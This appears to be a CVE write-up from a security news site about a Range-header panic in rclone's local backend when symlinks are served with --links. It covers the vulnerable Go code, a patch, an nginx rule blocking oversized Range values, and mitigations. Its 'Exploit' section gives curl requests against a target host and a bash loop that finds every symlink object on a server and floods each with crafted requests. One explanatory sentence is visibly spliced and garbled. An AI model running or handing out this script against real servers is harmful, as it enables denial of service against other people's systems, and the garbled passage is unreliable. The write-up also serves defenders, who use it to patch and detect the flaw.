Listen to this Post
rclone’s `backend/local` with the `–links` flag (-l) or `links=true` configuration option exposes filesystem symlinks as rclone objects. Each symlink becomes an object whose content is the target path string with a `.rclonelink` suffix. When a client requests such an object, `Object.Open()` decodes an incoming `fs.RangeOption` via Decode(o.Size()). For translated-symlink objects, the decoded offset is passed directly into openTranslatedLink, which indexes the target string without bounds checking: linkdst[offset:]. The `RangeOption.Decode` function’s `Start >= 0` branch (triggered by standard `Range: bytes=X-` requests) sets `offset = o.Start` with no upper bound validation. This differs from the suffix-range branch (Start < 0, e.g., bytes=-N), which already clamps oversized values to zero—a fix applied for a prior related crash documented in issue 6310. That earlier bug involved `bytes=-90407` against a 5-byte object causing a slice bounds panic, now covered by a regression test. The `Start >= 0` branch never received analogous protection. A request with `Range: bytes=lib/http/serve‘s `Object()` reaches `linkdst[offset:]` with an offset far exceeding the target string’s length. Go panics with “slice bounds out of range” instead of returning an empty read. The vulnerable code in `openTranslatedLink` reads the symlink target and passes `linkdst[offset:]` to `readers.NewLimitedReadCloser` without validating offset against the string length. A proof-of-concept using `&fs.RangeOption{Start: math.MaxInt64, End: -1}` against a symlink with target length 12 produces a panic. The fix clamps offset to the target string length before slicing, matching real file read past EOF behavior. A related unaddressed issue exists in `RangeOption.Decode()` where `limit = o.End – o.Start + 1` can overflow, but fixing it broke fs/operations/reopen.go‘s NewReOpen, so it was flagged but not changed.
DailyCVE Form:
Platform: rclone backend/local
Version: All with –links
Vulnerability: Range panic
Severity: Medium
date: 2024-06-15
Prediction: 2024-09-15
What Undercode Say
Analytics
Setup vulnerable environment mkdir -p /tmp/rclone-test/source echo "secret data" > /tmp/rclone-test/source/target.txt ln -s target.txt /tmp/rclone-test/source/mylink Start rclone serve with links enabled rclone serve http /tmp/rclone-test/source --links --addr :8080 Trigger the vulnerability with huge Range header curl -H "Range: bytes=9223372036854775807-" http://localhost:8080/mylink.rclonelink Alternative using webdav backend rclone serve webdav /tmp/rclone-test/source --links --addr :8081 curl -H "Range: bytes=9999999999999999999-" http://localhost:8081/mylink.rclonelink
Vulnerable Code Analysis
func (o Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {
linkdst, err := os.Readlink(o.path)
if err != nil { return nil, err }
return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil
}
Decode Function Vulnerability
// In fs/range_option.go - Start >= 0 branch lacks bounds check
func (o RangeOption) Decode(size int64) (offset, limit int64) {
if o.Start >= 0 {
offset = o.Start // No upper bound validation
if o.End >= 0 {
limit = o.End - o.Start + 1
} else {
limit = size - o.Start
}
} else {
// Suffix range branch already has protection
offset = size + o.Start
if offset < 0 { offset = 0 }
}
return offset, limit
}
PoC Test Code
opt := &fs.RangeOption{Start: math.MaxInt64, End: -1}
offset, limit := opt.Decode(12)
// offset = 9223372036854775807
// Panic: slice bounds out of range [9223372036854775807:12]
Patch Verification
After fix applied, request returns empty content instead of panic curl -v -H "Range: bytes=9223372036854775807-" http://localhost:8080/mylink.rclonelink Expected: 206 Partial Content with empty body
Exploit: (Educational Purposes!)
Complete exploitation chain - single request DoS against request handler Prerequisites: rclone serve with --links against directory containing symlinks Step 1: Identify symlink-backed objects curl -s http://target:8080/ | grep rclonelink Step 2: Send crafted Range header with maximum int64 value curl -H "Range: bytes=9223372036854775807-" \ http://target:8080/symlink.rclonelink Step 3: Observe panic in server logs panic: runtime error: slice bounds out of range [9223372036854775807:12] backend/local.(Object).openTranslatedLink backend/local.(Object).Open Automated exploitation script !/bin/bash TARGET=$1 for link in $(curl -s http://$TARGET/ | grep -oP '[\w-]+.rclonelink'); do curl -H "Range: bytes=9999999999999999999-" http://$TARGET/$link & done wait
Protection: from this CVE
// Patched openTranslatedLink with offset clamping
func (o Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {
linkdst, err := os.Readlink(o.path)
if err != nil { return nil, err }
if offset > int64(len(linkdst)) {
offset = int64(len(linkdst))
}
return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil
}
Mitigation: Disable symlink exposure if not required
rclone serve http /path --links=false
Network-level protection: Rate limit Range headers
nginx configuration
limit_req_zone $binary_remote_addr zone=range_limit:10m rate=10r/s;
location / {
limit_req zone=range_limit burst=20 nodelay;
if ($http_range ~ "bytes=\d{15,}-") {
return 400;
}
proxy_pass http://rclone_backend;
}
Update to patched version git clone https://github.com/rclone/rclone cd rclone git checkout <patched-commit> go build ./rclone serve http /path --links
Impact
A remote client can send a single crafted `Range` header against any symlink-backed object exposed by `rclone serve http/webdav/etc` when backed by `backend/local` with `–links` enabled. This deterministically panics the request-handling goroutine. Go’s `net/http` recovers panics per-connection by default, so the failure affects only the single request/connection rather than crashing the entire server process. No file handle is left open since the panic occurs before any read handle is acquired. The attack is fully deterministic and remotely triggerable with no authentication or race window required. However, unlike some other panic-recovery findings, the impact is limited to request-level denial of service rather than full process termination.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

